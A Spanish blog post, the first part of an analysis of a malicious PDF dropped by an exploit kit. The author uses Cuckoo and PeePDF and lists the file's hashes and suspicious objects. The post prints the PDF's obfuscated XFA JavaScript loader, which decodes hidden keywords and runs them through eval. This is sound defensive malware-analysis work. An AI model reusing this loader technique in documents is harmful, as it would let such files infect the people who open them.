16 nov 2012

Análisis de un PDF de un Exploit Kit

Estaba revisando unas URL’s que al final te hacía una redirección a un Exploit Kit.

Para automatizar la infección y recogida de archivos pasé la URL por Cuckoo :P

Conseguí obtener los binarios, los JS, además del PDF que ha soltado el Exploit Kit. He cogido ese PDF y lo he analizado con PeePDF para ver que tenía.

Actualizamos a la última versión de PeePDF.

root@remnux: python peepdf.py -u[-] Checking if there are new updates…[+] No changes! ;)

Vamos a abrir el PDF con la herramienta:

root@remnux:  # python peepdf.py -i 1.pdfError: parsing indirect object!!

Vaya, parece que nos da error, así que forzaremos la apertura de dicho PDF

root@remnux:  # python peepdf.py -i -f 1.pdfWarning: pylibemu is not installed!!File: 1.pdfMD5: 09bad8811765336b8de7b9b1cc2e956fSHA1: 4d20f7eb4b7c9c883860075e40cd37ee1bd62f3aSize: 14833 bytesVersion: 1.6Binary: TrueLinearized: FalseEncrypted: FalseUpdates: 0Objects: 29Streams: 12Comments: 0Errors: 9Version 0:Catalog: 1Info: NoObjects (29): [1, 2, 3, 6, 8, 13, 14, 15, 16, 18, 19, 20, 21, 22, 27, 28, 29, 30, 31, 32, 41, 42, 43, 44, 45, 46, 48, 49, 52]Streams (12): [52, 13, 18, 19, 32, 41, 42, 43, 44, 45, 46, 48]Encoded (11): [52, 13, 18, 19, 32, 41, 42, 43, 44, 46, 48]Objects with JS code (1): [43]Suspicious elements:/AcroForm: [1]/Names: [1]/EmbeddedFile: [41, 42, 43, 44, 45, 46]

Con la info que nos arroja PeePDF ya nos da datos interesantes como puede ser que contiene un binario, y que ha encontrado elementos de Javascript además de elementos sospechosos. Podemos ver el /AcroForm que ejecutará algo cuando se abra el PDF.

Con PeePDF podemos hacer tree esto mostrará la estructura del PDF en si

PPDF> treedictionary (1)/Metadata (49)Unknown (40)/Pages (2)/Page (8)/Pages (2)stream (32)Unknown (0)stream (13)/Font (27)array (28)/Font (29)dictionary (31)/FontDescriptor (30)Unknown (47)stream (48)array (20)/Annot (15)dictionary (22)dictionary (21)dictionary (22)/Annot (15)/Page (8)dictionary (3)dictionary (6)/Font (14)/Font (16)stream (18)Unknown (17)stream (19)stream (41)stream (42)stream (43)stream (44)stream (45)stream (46)stream (52)dictionary (3)dictionary (1)

Para obtener información sobre el PDF:

PPDF> infoFile: 1.pdfMD5: 09bad8811765336b8de7b9b1cc2e956fSHA1: 4d20f7eb4b7c9c883860075e40cd37ee1bd62f3aSize: 14833 bytesVersion: 1.6Binary: TrueLinearized: FalseEncrypted: FalseUpdates: 0Objects: 29Streams: 12Comments: 0Errors: 9Version 0:Catalog: 1Info: NoObjects (29): [1, 2, 3, 6, 8, 13, 14, 15, 16, 18, 19, 20, 21, 22, 27, 28, 29, 30, 31, 32, 41, 42, 43, 44, 45, 46, 48, 49, 52]Streams (12): [52, 13, 18, 19, 32, 41, 42, 43, 44, 45, 46, 48]Encoded (11): [52, 13, 18, 19, 32, 41, 42, 43, 44, 46, 48]Objects with JS code (1): [43]Suspicious elements:/AcroForm: [1]/Names: [1]/EmbeddedFile: [41, 42, 43, 44, 45, 46] 

Nos ponemos a analizar el código del objeto con código JS:

PPDF> js_beautify object 43<!–< template > –>< template > < subform layout = “tb”locale = “ru_RU”name = “form1″ > < pageSet > < pageArea id = “Page1″name = “Page1″ > < contentArea h = “10.5in”w = “8in”x = “0.25in”y = “0.25in” > < /contentArea><medium long=”11in” short=”8.5in” stock=”letter”></medium > < /pageArea></pageSet > < subform h = “10.5in”w = “8in” > < field h = “98.425mm”name = “ImageField1″w = “28.575mm”x = “95.25mm”y = “19.05mm” > < ui > < imageEdit > < /imageEdit></ui > < caption placement = “bottom”reserve = “5mm” > < font typeface = “Myriad Pro” > < /font><para vAlign=”middle”></para > < value > < text > Image Field < /text></value > < /caption><border xmlns=”http:/ / www.xfa.org / schema / xfa – template / 2.2 / “><edge presence=”hidden “></edge><edge stroke=”dotted “></edge><edge stroke=”dotted “></edge><edge stroke=”dashed “></edge><corner stroke=”dotted “></corner><corner stroke=”dotted “></corner><corner stroke=”dashed “></corner><fill><pattern type=”crossDiagonal “></pattern></fill></border><event xmlns:xfa=”http: //www.xfa.org/schema/xfa-template/2.2/” activity=”initialize”>< xfa: script contentType = ‘application/x-javascript’ > /*sagasgasgasgwith(event){k=target.eval;if((app.addMenuItem+”").indexOf(“Me”+”nu”+”It”+”em”)!=-1){a=target.keywords;}}*/with(event) {k = target.eval;if ((app.addMenuItem + “”).indexOf(“Me” + “nu” + “It” + “em”) != -1) {a = target.keywords;}}s = “”;z = a;for (i = 0; i < a.length; i += 2) {s += String.fromCharCode(parseInt(z[i] + z[i + 1], 28));}k(s); < /xfa:script></event > < /field></subform > < proto > < /proto></subform > <? templateDesigner DefaultLanguage FormCalc ?> <? templateDesigner DefaultRunAt client ?> <? templateDesigner Grid show: 1,snap: 1,units: 0,color: ff8080,origin: (0, 0),interval: (125000, 125000) ?> <? templateDesigner Rulers horizontal: 1,vertical: 1,guidelines: 1,crosshairs: 0 ?> <? templateDesigner Zoom 76 ?> < /template>

Podéis ver por ahí un eval, es decir nada bueno, además de que he marcado en negro que hay código Javascript

En la segunda parte continuamos con el análisis.

2 comentarios:

  1. [...] Estaba revisando unas URL’s que al final te hacía una redirección a un Exploit Kit. Para automatizar la infección y recogida de archivos pasé la URL por Cuckoo Conseguí obtener los binarios, los JS, además del PDF que ha soltado el Exploit Kit.  [...]

    ResponderEliminar
  2. Buah,me ha dao por analizar un par de PDFs de dudosos procedencia y no se si pueden tener algo,que te parece?http://pastebin.com/xQtyWHqA

    ResponderEliminar